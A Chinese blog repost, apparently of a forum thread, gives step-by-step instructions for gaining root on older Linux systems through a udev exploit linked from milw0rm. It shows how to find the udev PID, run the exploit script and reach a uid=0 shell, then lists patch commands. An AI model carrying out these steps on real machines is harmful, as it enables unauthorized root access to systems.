php用户提权root,LINUX普通用户提权为ROOT

1.在LINUX目录下建立test 帐户

2.下载 a脚本 在http://milw0rm.com/exploits/8478

3.查看UDEV的PID  方法一: 先cat /proc/net/netlink

ffff810077587400 15  364    ffffffff 0        0        0000000000000000 2

ffff810037f81000 16  0      00000000 0        0        0000000000000000 2

ffff810077078400 18  0      00000000 0        0        0000000000000000 2

那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2

方法二:

另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本

然后在test 用户的当前目录 里

按以下步骤运行

[haha@localhost ~]$ id

uid=501(haha) gid=502(haha) groups=502(haha)

[haha@localhost ~]$sh a 364

suid.c: In function ‘main’:

suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’

sh-3.1# id

uid=0(root) gid=0(root) groups=502(haha)

此时的UID 变为0了 ,test用户已经变为 ROOT用户 可以继续以下

sh-3.1# bash

[root@localhost ~]#

看!test -> ROOT 用户大变身!!

说说我的测试版本[root@localhost ~]# uname -a

Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:14 EST 2007 x86_64 x86_64 x86_64 GNU/Linux

目前RH5 和UBANTU 以及DABIAN都测试通过了 但是TURBOLINUX上没有测试通过..

稍后会跟出打补丁的方法 版主=.=麻烦给加个精吧!

打补丁方法见:

http://www.zjtbzx.gov.cn/090421/13170.html

打了这两个补丁

yum -y update udev

yum -y update libvolume*

转载自:http://bbs3.chinaunix.net/viewthread.php?tid=1439055&extra=&page=1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值